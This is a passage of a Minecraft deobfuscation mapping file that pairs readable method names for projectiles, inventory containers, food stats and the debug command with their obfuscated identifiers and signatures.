net/minecraft/entity/item/EntityFireworkRocket/func_70013_c (F)F +MD: net/minecraft/entity/item/EntityFireworkRocket/entityInit ()V net/minecraft/entity/item/EntityFireworkRocket/func_70088_a ()V +MD: net/minecraft/entity/item/EntityFireworkRocket/setVelocity (DDD)V net/minecraft/entity/item/EntityFireworkRocket/func_70016_h (DDD)V +MD: net/minecraft/entity/item/EntityFireworkRocket/onUpdate ()V net/minecraft/entity/item/EntityFireworkRocket/func_70071_h_ ()V +MD: net/minecraft/entity/projectile/EntityLargeFireball/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntityLargeFireball/func_70227_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/projectile/EntityLargeFireball/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityLargeFireball/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityLargeFireball/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityLargeFireball/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/IProjectile/setThrowableHeading (DDDFF)V net/minecraft/entity/IProjectile/func_70186_c (DDDFF)V +MD: net/minecraft/entity/projectile/EntitySmallFireball/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntitySmallFireball/func_70227_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/projectile/EntitySmallFireball/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/projectile/EntitySmallFireball/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/projectile/EntitySmallFireball/canBeCollidedWith ()Z net/minecraft/entity/projectile/EntitySmallFireball/func_70067_L ()Z +MD: net/minecraft/entity/projectile/EntitySnowball/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntitySnowball/func_70184_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/projectile/EntityThrowable/isInRangeToRenderDist (D)Z net/minecraft/entity/projectile/EntityThrowable/func_70112_a (D)Z +MD: net/minecraft/entity/projectile/EntityThrowable/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntityThrowable/func_70184_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/projectile/EntityThrowable/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityThrowable/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityThrowable/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityThrowable/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityThrowable/setThrowableHeading (DDDFF)V net/minecraft/entity/projectile/EntityThrowable/func_70186_c (DDDFF)V +MD: net/minecraft/entity/projectile/EntityThrowable/entityInit ()V net/minecraft/entity/projectile/EntityThrowable/func_70088_a ()V +MD: net/minecraft/entity/projectile/EntityThrowable/setVelocity (DDD)V net/minecraft/entity/projectile/EntityThrowable/func_70016_h (DDD)V +MD: net/minecraft/entity/projectile/EntityThrowable/getVelocity ()F net/minecraft/entity/projectile/EntityThrowable/func_70182_d ()F +MD: net/minecraft/entity/projectile/EntityThrowable/getInaccuracy ()F net/minecraft/entity/projectile/EntityThrowable/func_70183_g ()F +MD: net/minecraft/entity/projectile/EntityThrowable/getGravityVelocity ()F net/minecraft/entity/projectile/EntityThrowable/func_70185_h ()F +MD: net/minecraft/entity/projectile/EntityThrowable/getThrower ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/projectile/EntityThrowable/func_85052_h ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/projectile/EntityThrowable/onUpdate ()V net/minecraft/entity/projectile/EntityThrowable/func_70071_h_ ()V +MD: net/minecraft/entity/projectile/EntityEgg/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntityEgg/func_70184_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/command/CommandDebug/getRequiredPermissionLevel ()I net/minecraft/command/CommandDebug/func_82362_a ()I +MD: net/minecraft/command/CommandDebug/func_147202_a (ILjava/lang/String;Ljava/lang/StringBuilder;)V net/minecraft/command/CommandDebug/func_147202_a (ILjava/lang/String;Ljava/lang/StringBuilder;)V +MD: net/minecraft/command/CommandDebug/saveProfileResults (JI)V net/minecraft/command/CommandDebug/func_147205_a (JI)V +MD: net/minecraft/command/CommandDebug/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandDebug/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandDebug/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandDebug/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandDebug/getProfileResults (JI)Ljava/lang/String; net/minecraft/command/CommandDebug/func_147204_b (JI)Ljava/lang/String; +MD: net/minecraft/command/CommandDebug/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandDebug/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandDebug/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandDebug/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandDebug/getWittyComment ()Ljava/lang/String; net/minecraft/command/CommandDebug/func_147203_d ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityEnderPearl/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/item/EntityEnderPearl/func_70184_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/item/EntityEnderPearl/onUpdate ()V net/minecraft/entity/item/EntityEnderPearl/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityExpBottle/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/item/EntityExpBottle/func_70184_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/item/EntityExpBottle/getVelocity ()F net/minecraft/entity/item/EntityExpBottle/func_70182_d ()F +MD: net/minecraft/entity/item/EntityExpBottle/getInaccuracy ()F net/minecraft/entity/item/EntityExpBottle/func_70183_g ()F +MD: net/minecraft/entity/item/EntityExpBottle/getGravityVelocity ()F net/minecraft/entity/item/EntityExpBottle/func_70185_h ()F +MD: net/minecraft/entity/projectile/EntityPotion/setPotionDamage (I)V net/minecraft/entity/projectile/EntityPotion/func_82340_a (I)V +MD: net/minecraft/entity/projectile/EntityPotion/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntityPotion/func_70184_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/projectile/EntityPotion/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityPotion/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityPotion/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/projectile/EntityPotion/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/projectile/EntityPotion/getVelocity ()F net/minecraft/entity/projectile/EntityPotion/func_70182_d ()F +MD: net/minecraft/entity/projectile/EntityPotion/getInaccuracy ()F net/minecraft/entity/projectile/EntityPotion/func_70183_g ()F +MD: net/minecraft/entity/projectile/EntityPotion/getGravityVelocity ()F net/minecraft/entity/projectile/EntityPotion/func_70185_h ()F +MD: net/minecraft/entity/projectile/EntityPotion/getPotionDamage ()I net/minecraft/entity/projectile/EntityPotion/func_70196_i ()I +MD: net/minecraft/entity/projectile/EntityWitherSkull/getExplosionResistance (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)F net/minecraft/entity/projectile/EntityWitherSkull/func_180428_a (Lnet/minecraft/world/Explosion;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)F +MD: net/minecraft/entity/projectile/EntityWitherSkull/onImpact (Lnet/minecraft/util/MovingObjectPosition;)V net/minecraft/entity/projectile/EntityWitherSkull/func_70227_a (Lnet/minecraft/util/MovingObjectPosition;)V +MD: net/minecraft/entity/projectile/EntityWitherSkull/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/projectile/EntityWitherSkull/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/projectile/EntityWitherSkull/setInvulnerable (Z)V net/minecraft/entity/projectile/EntityWitherSkull/func_82343_e (Z)V +MD: net/minecraft/entity/projectile/EntityWitherSkull/canBeCollidedWith ()Z net/minecraft/entity/projectile/EntityWitherSkull/func_70067_L ()Z +MD: net/minecraft/entity/projectile/EntityWitherSkull/isBurning ()Z net/minecraft/entity/projectile/EntityWitherSkull/func_70027_ad ()Z +MD: net/minecraft/entity/projectile/EntityWitherSkull/entityInit ()V net/minecraft/entity/projectile/EntityWitherSkull/func_70088_a ()V +MD: net/minecraft/entity/projectile/EntityWitherSkull/getMotionFactor ()F net/minecraft/entity/projectile/EntityWitherSkull/func_82341_c ()F +MD: net/minecraft/entity/projectile/EntityWitherSkull/isInvulnerable ()Z net/minecraft/entity/projectile/EntityWitherSkull/func_82342_d ()Z +MD: net/minecraft/util/FoodStats/getFoodLevel ()I net/minecraft/util/FoodStats/func_75116_a ()I +MD: net/minecraft/util/FoodStats/addExhaustion (F)V net/minecraft/util/FoodStats/func_75113_a (F)V +MD: net/minecraft/util/FoodStats/setFoodLevel (I)V net/minecraft/util/FoodStats/func_75114_a (I)V +MD: net/minecraft/util/FoodStats/addStats (IF)V net/minecraft/util/FoodStats/func_75122_a (IF)V +MD: net/minecraft/util/FoodStats/readNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/util/FoodStats/func_75112_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/util/FoodStats/onUpdate (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/util/FoodStats/func_75118_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/util/FoodStats/addStats (Lnet/minecraft/item/ItemFood;Lnet/minecraft/item/ItemStack;)V net/minecraft/util/FoodStats/func_151686_a (Lnet/minecraft/item/ItemFood;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/util/FoodStats/getPrevFoodLevel ()I net/minecraft/util/FoodStats/func_75120_b ()I +MD: net/minecraft/util/FoodStats/setFoodSaturationLevel (F)V net/minecraft/util/FoodStats/func_75119_b (F)V +MD: net/minecraft/util/FoodStats/writeNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/util/FoodStats/func_75117_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/util/FoodStats/needFood ()Z net/minecraft/util/FoodStats/func_75121_c ()Z +MD: net/minecraft/util/FoodStats/getSaturationLevel ()F net/minecraft/util/FoodStats/func_75115_e ()F +MD: net/minecraft/inventory/Container/getInventory ()Ljava/util/List; net/minecraft/inventory/Container/func_75138_a ()Ljava/util/List; +MD: net/minecraft/inventory/Container/getSlot (I)Lnet/minecraft/inventory/Slot; net/minecraft/inventory/Container/func_75139_a (I)Lnet/minecraft/inventory/Slot; +MD: net/minecraft/inventory/Container/slotClick (IIILnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/Container/func_75144_a (IIILnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/Container/retrySlotClick (IIZLnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/Container/func_75133_b (IIZLnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/Container/isValidDragMode (ILnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/Container/func_180610_a (ILnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/Container/putStackInSlot (ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/Container/func_75141_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/Container/calcRedstone (Lnet/minecraft/tileentity/TileEntity;)I net/minecraft/inventory/Container/func_178144_a (Lnet/minecraft/tileentity/TileEntity;)I +MD: net/minecraft/inventory/Container/computeStackSize (Ljava/util/Set;ILnet/minecraft/item/ItemStack;I)V net/minecraft/inventory/Container/func_94525_a (Ljava/util/Set;ILnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/inventory/Container/onCraftMatrixChanged (Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/Container/func_75130_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/Container/getSlotFromInventory (Lnet/minecraft/inventory/IInventory;I)Lnet/minecraft/inventory/Slot; net/minecraft/inventory/Container/func_75147_a (Lnet/minecraft/inventory/IInventory;I)Lnet/minecraft/inventory/Slot; +MD: net/minecraft/inventory/Container/getNextTransactionID (Lnet/minecraft/entity/player/InventoryPlayer;)S net/minecraft/inventory/Container/func_75136_a (Lnet/minecraft/entity/player/InventoryPlayer;)S +MD: net/minecraft/inventory/Container/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/Container/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/Container/enchantItem (Lnet/minecraft/entity/player/EntityPlayer;I)Z net/minecraft/inventory/Container/func_75140_a (Lnet/minecraft/entity/player/EntityPlayer;I)Z +MD: net/minecraft/inventory/Container/setCanCraft (Lnet/minecraft/entity/player/EntityPlayer;Z)V net/minecraft/inventory/Container/func_75128_a (Lnet/minecraft/entity/player/EntityPlayer;Z)V +MD: net/minecraft/inventory/Container/onCraftGuiOpened (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/Container/func_75132_a (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/Container/addSlotToContainer (Lnet/minecraft/inventory/Slot;)Lnet/minecraft/inventory/Slot; net/minecraft/inventory/Container/func_75146_a (Lnet/minecraft/inventory/Slot;)Lnet/minecraft/inventory/Slot; +MD: net/minecraft/inventory/Container/canAddItemToSlot (Lnet/minecraft/inventory/Slot;Lnet/minecraft/item/ItemStack;Z)Z net/minecraft/inventory/Container/func_94527_a (Lnet/minecraft/inventory/Slot;Lnet/minecraft/item/ItemStack;Z)Z +MD: net/minecraft/inventory/Container/mergeItemStack (Lnet/minecraft/item/ItemStack;IIZ)Z net/minecraft/inventory/Container/func_75135_a (Lnet/minecraft/item/ItemStack;IIZ)Z +MD: net/minecraft/inventory/Container/canMergeSlot (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z net/minecraft/inventory/Container/func_94530_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z +MD: net/minecraft/inventory/Container/putStacksInSlots ([Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/Container/func_75131_a ([Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/Container/detectAndSendChanges ()V net/minecraft/inventory/Container/func_75142_b ()V +MD: net/minecraft/inventory/Container/extractDragMode (I)I net/minecraft/inventory/Container/func_94529_b (I)I +MD: net/minecraft/inventory/Container/updateProgressBar (II)V net/minecraft/inventory/Container/func_75137_b (II)V +MD: net/minecraft/inventory/Container/calcRedstoneFromInventory (Lnet/minecraft/inventory/IInventory;)I net/minecraft/inventory/Container/func_94526_b (Lnet/minecraft/inventory/IInventory;)I +MD: net/minecraft/inventory/Container/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/Container/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/Container/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/Container/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/Container/removeCraftingFromCrafters (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/Container/func_82847_b (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/Container/canDragIntoSlot (Lnet/minecraft/inventory/Slot;)Z net/minecraft/inventory/Container/func_94531_b (Lnet/minecraft/inventory/Slot;)Z +MD: net/minecraft/inventory/Container/getDragEvent (I)I net/minecraft/inventory/Container/func_94532_c (I)I +MD: net/minecraft/inventory/Container/getCanCraft (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/Container/func_75129_b (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/Container/resetDrag ()V net/minecraft/inventory/Container/func_94533_d ()V +MD: net/minecraft/inventory/Container/func_94534_d (II)I net/minecraft/inventory/Container/func_94534_d (II)I +MD: net/minecraft/inventory/ContainerRepair$1/markDirty ()V net/minecraft/inventory/ContainerRepair$1/func_70296_d ()V +MD: net/minecraft/inventory/ContainerRepair$2/canTakeStack (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerRepair$2/func_82869_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerRepair$2/onPickupFromSlot (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/ContainerRepair$2/func_82870_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/ContainerRepair$2/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerRepair$2/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerRepair/updateItemName (Ljava/lang/String;)V net/minecraft/inventory/ContainerRepair/func_82850_a (Ljava/lang/String;)V +MD: net/minecraft/inventory/ContainerRepair/onCraftMatrixChanged (Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/ContainerRepair/func_75130_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/ContainerRepair/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerRepair/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerRepair/access$000 (Lnet/minecraft/inventory/ContainerRepair;)Lnet/minecraft/inventory/IInventory; net/minecraft/inventory/ContainerRepair/access$000 (Lnet/minecraft/inventory/ContainerRepair;)Lnet/minecraft/inventory/IInventory; +MD: net/minecraft/inventory/ContainerRepair/onCraftGuiOpened (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/ContainerRepair/func_75132_a (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/ContainerRepair/updateProgressBar (II)V net/minecraft/inventory/ContainerRepair/func_75137_b (II)V +MD: net/minecraft/inventory/ContainerRepair/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerRepair/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerRepair/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerRepair/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerRepair/access$100 (Lnet/minecraft/inventory/ContainerRepair;)I net/minecraft/inventory/ContainerRepair/access$100 (Lnet/minecraft/inventory/ContainerRepair;)I +MD: net/minecraft/inventory/ContainerRepair/updateRepairOutput ()V net/minecraft/inventory/ContainerRepair/func_82848_d ()V +MD: net/minecraft/inventory/ContainerBeacon$BeaconSlot/getSlotStackLimit ()I net/minecraft/inventory/ContainerBeacon$BeaconSlot/func_75219_a ()I +MD: net/minecraft/inventory/ContainerBeacon$BeaconSlot/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerBeacon$BeaconSlot/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerBeacon/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerBeacon/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerBeacon/onCraftGuiOpened (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/ContainerBeacon/func_75132_a (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/ContainerBeacon/updateProgressBar (II)V net/minecraft/inventory/ContainerBeacon/func_75137_b (II)V +MD: net/minecraft/inventory/ContainerBeacon/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerBeacon/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerBeacon/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerBeacon/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerBeacon/func_180611_e ()Lnet/minecraft/inventory/IInventory; net/minecraft/inventory/ContainerBeacon/func_180611_e ()Lnet/minecraft/inventory/IInventory; +MD: net/minecraft/inventory/ContainerBrewingStand$Ingredient/getSlotStackLimit ()I net/minecraft/inventory/ContainerBrewingStand$Ingredient/func_75219_a ()I +MD: net/minecraft/inventory/ContainerBrewingStand$Ingredient/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerBrewingStand$Ingredient/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerBrewingStand$Potion/getSlotStackLimit ()I net/minecraft/inventory/ContainerBrewingStand$Potion/func_75219_a ()I +MD: net/minecraft/inventory/ContainerBrewingStand$Potion/onPickupFromSlot (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/ContainerBrewingStand$Potion/func_82870_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/ContainerBrewingStand$Potion/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerBrewingStand$Potion/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerBrewingStand$Potion/canHoldPotion (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerBrewingStand$Potion/func_75243_a_ (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerBrewingStand/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerBrewingStand/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerBrewingStand/onCraftGuiOpened (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/ContainerBrewingStand/func_75132_a (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/ContainerBrewingStand/detectAndSendChanges ()V net/minecraft/inventory/ContainerBrewingStand/func_75142_b ()V +MD: net/minecraft/inventory/ContainerBrewingStand/updateProgressBar (II)V net/minecraft/inventory/ContainerBrewingStand/func_75137_b (II)V +MD: net/minecraft/inventory/ContainerBrewingStand/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerBrewingStand/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ICrafting/sendProgressBarUpdate (Lnet/minecraft/inventory/Container;II)V net/minecraft/inventory/ICrafting/func_71112_a (Lnet/minecraft/inventory/Container;II)V +MD: net/minecraft/inventory/ICrafting/sendSlotContents (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/ICrafting/func_71111_a (Lnet/minecraft/inventory/Container;ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/ICrafting/updateCraftingInventory (Lnet/minecraft/inventory/Container;Ljava/util/List;)V net/minecraft/inventory/ICrafting/func_71110_a (Lnet/minecraft/inventory/Container;Ljava/util/List;)V +MD: net/minecraft/inventory/ICrafting/sendAllWindowProperties (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/ICrafting/func_175173_a (Lnet/minecraft/inventory/Container;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/ContainerChest/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerChest/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerChest/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerChest/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerChest/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerChest/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerChest/getLowerChestInventory ()Lnet/minecraft/inventory/IInventory; net/minecraft/inventory/ContainerChest/func_85151_d ()Lnet/minecraft/inventory/IInventory; +MD: net/minecraft/inventory/InventoryCrafting/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryCrafting/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryCrafting/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryCrafting/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryCrafting/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/InventoryCrafting/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/InventoryCrafting/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/InventoryCrafting/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/InventoryCrafting/getField (I)I net/minecraft/inventory/InventoryCrafting/func_174887_a_ (I)I +MD: net/minecraft/inventory/InventoryCrafting/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryCrafting/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryCrafting/setField (II)V net/minecraft/inventory/InventoryCrafting/func_174885_b (II)V +MD: net/minecraft/inventory/InventoryCrafting/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/InventoryCrafting/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/InventoryCrafting/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryCrafting/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryCrafting/getStackInRowAndColumn (II)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryCrafting/func_70463_b (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryCrafting/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryCrafting/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryCrafting/getName ()Ljava/lang/String; net/minecraft/inventory/InventoryCrafting/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/inventory/InventoryCrafting/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/inventory/InventoryCrafting/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/inventory/InventoryCrafting/getFieldCount ()I net/minecraft/inventory/InventoryCrafting/func_174890_g ()I +MD: net/minecraft/inventory/InventoryCrafting/getHeight ()I net/minecraft/inventory/InventoryCrafting/func_174923_h ()I +MD: net/minecraft/inventory/InventoryCrafting/getWidth ()I net/minecraft/inventory/InventoryCrafting/func_174922_i ()I +MD: net/minecraft/inventory/InventoryCrafting/clear ()V net/minecraft/inventory/InventoryCrafting/func_174888_l ()V +MD: net/minecraft/inventory/InventoryCrafting/hasCustomName ()Z net/minecraft/inventory/InventoryCrafting/func_145818_k_ ()Z +MD: net/minecraft/inventory/InventoryCrafting/getSizeInventory ()I net/minecraft/inventory/InventoryCrafting/func_70302_i_ ()I +MD: net/minecraft/inventory/InventoryCrafting/markDirty ()V net/minecraft/inventory/InventoryCrafting/func_70296_d ()V +MD: net/minecraft/inventory/InventoryCrafting/getInventoryStackLimit ()I net/minecraft/inventory/InventoryCrafting/func_70297_j_ ()I +MD: net/minecraft/inventory/ContainerWorkbench/onCraftMatrixChanged (Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/ContainerWorkbench/func_75130_a (Lnet/minecraft/inventory/IInventory;)V 